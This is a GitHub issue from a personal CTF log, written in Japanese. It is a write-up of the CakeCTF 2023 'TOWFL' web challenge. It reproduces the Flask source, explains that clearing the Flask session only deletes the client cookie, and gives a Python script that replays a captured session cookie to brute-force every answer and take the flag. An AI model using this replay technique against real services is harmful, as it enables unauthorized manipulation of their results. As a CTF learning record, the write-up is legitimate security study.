roaris / ctf-log

0 stars 0 forks source link

CakeCTF 2023 : TOWFL #64

Open roaris opened 1 month ago

roaris commented 1 month ago

https://alpacahack.com/challenges/towfl

roaris commented 1 month ago
#!/usr/bin/env python3
import flask
import json
import lorem
import os
import random
import redis

REDIS_HOST = os.getenv("REDIS_HOST", "redis")
REDIS_PORT = int(os.getenv("REDIS_PORT", "6379"))

app = flask.Flask(__name__)
app.secret_key = os.urandom(16)

@app.route("/")
def index():
    return flask.render_template("index.html")

@app.route("/api/start", methods=['POST'])
def api_start():
    if 'eid' in flask.session:
        eid = flask.session['eid']
    else:
        eid = flask.session['eid'] = os.urandom(32).hex()

    # Create new challenge set
    db().set(eid, json.dumps([new_challenge() for _ in range(10)]))
    return {'status': 'ok'}

@app.route("/api/question/<int:qid>", methods=['GET'])
def api_get_question(qid: int):
    if qid <= 0 or qid > 10:
        return {'status': 'error', 'reason': 'Invalid parameter.'}
    elif 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Send challenge information without answers
    chall = json.loads(db().get(flask.session['eid']))[qid-1]
    del chall['answers']
    del chall['results']
    return {'status': 'ok', 'data': chall}

@app.route("/api/submit", methods=['POST'])
def api_submit():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    try:
        answers = flask.request.get_json()
    except:
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Get answers
    eid = flask.session['eid']
    challs = json.loads(db().get(eid))
    if not isinstance(answers, list) \
       or len(answers) != len(challs):
        return {'status': 'error', 'reason': 'Invalid request.'}

    # Check answers
    for i in range(len(answers)):
        if not isinstance(answers[i], list) \
           or len(answers[i]) != len(challs[i]['answers']):
            return {'status': 'error', 'reason': 'Invalid request.'}

        for j in range(len(answers[i])):
            challs[i]['results'][j] = answers[i][j] == challs[i]['answers'][j]

    # Store information with results
    db().set(eid, json.dumps(challs))
    return {'status': 'ok'}

@app.route("/api/score", methods=['GET'])
def api_score():
    if 'eid' not in flask.session:
        return {'status': 'error', 'reason': 'Exam has not started yet.'}

    # Calculate score
    challs = json.loads(db().get(flask.session['eid']))
    score = 0
    for chall in challs:
        for result in chall['results']:
            if result is True:
                score += 1

    # Is he/she worth giving the flag?
    if score == 100:
        flag = os.getenv("FLAG")
    else:
        flag = "Get perfect score for flag"

    # Prevent reply attack
    flask.session.clear()

    return {'status': 'ok', 'data': {'score': score, 'flag': flag}}

def new_challenge():
    """Create new questions for a passage"""
    p = '\n'.join([lorem.paragraph() for _ in range(random.randint(5, 15))])
    qs, ans, res = [], [], []
    for _ in range(10):
        q = lorem.sentence().replace(".", "?")
        op = [lorem.sentence() for _ in range(4)]
        qs.append({'question': q, 'options': op})
        ans.append(random.randrange(0, 4))
        res.append(False)
    return {'passage': p, 'questions': qs, 'answers': ans, 'results': res}

def db():
    """Get connection to DB"""
    if getattr(flask.g, '_redis', None) is None:
        flask.g._redis = redis.Redis(host=REDIS_HOST, port=REDIS_PORT, db=0)
    return flask.g._redis

if __name__ == '__main__':
    app.run()

POST /api/startで4択の問題10問が10セット作られる GET /api/question/\<qid>でqidで指定した問題セットの閲覧 POST /api/submitで回答の送信 GET /api/scoreで得点の計算、全問正解していたらフラグが取得出来る

roaris commented 1 month ago

GET /api/scoreで得点を確認しつつ、POST /api/submitで送信する回答を少しずつ修正して、全問正解にする方法が考えられる

しかし、GET /api/scoreの以下の処理

# Prevent reply attack
flask.session.clear()

ここで、サーバ側のセッションが破棄されてしまっていたら無理だと思ったが、Set-Cookieヘッダでブラウザ側のCookieを削除するだけで、サーバ側のセッションは破棄しないようだ

スクリーンショット 2024-08-10 22 55 34

GET /api/scoreで得点を確認しつつ、POST /api/submitで送信する回答を少しずつ修正して、全問正解にする方法

なので、この方法は上手くいく

roaris commented 1 month ago

以下のプログラムで解ける

import requests
import json

url_base = 'http://34.170.146.252:53090'
session = '.eJwFwYENgDAIBMBdmACR0n-3oRYSZzDu7t0r9Wy5ZDm1UguYLC9Mvdu33wkYG2rNmVSL0MPO0FxjMDgU7QYu-X7yUBNz.Zrd4hQ.aeWGD9vXsH6rfPcyhkF7N_lJgxo'
cookies = {'session': session}
answers = [[0]*10 for _ in range(10)]

for i in range(10):
    for j in range(10):
        max_score = 0
        correct = 0

        for k in range(4):
            answers[i][j] = k
            requests.post(url_base+'/api/submit', data=json.dumps(answers), headers={'Content-Type':'application/json'}, cookies=cookies)
            res = requests.get(url_base+'/api/score', cookies=cookies)
            res = json.loads(res.text)
            score = res['data']['score']

            if score > max_score:
                max_score = score
                correct = k

        answers[i][j] = correct

    print(f'{i} done')

requests.post(url_base+'/api/submit', data=json.dumps(answers), headers={'Content-Type':'application/json'}, cookies=cookies)
res = requests.get(url_base+'/api/score', cookies=cookies)
res = json.loads(res.text)
flag = res['data']['flag']
print(flag) # "CakeCTF{b3_c4ut10us_1f_s3ss10n_1s_cl13nt_s1d3_0r_s3rv3r_s1d3}"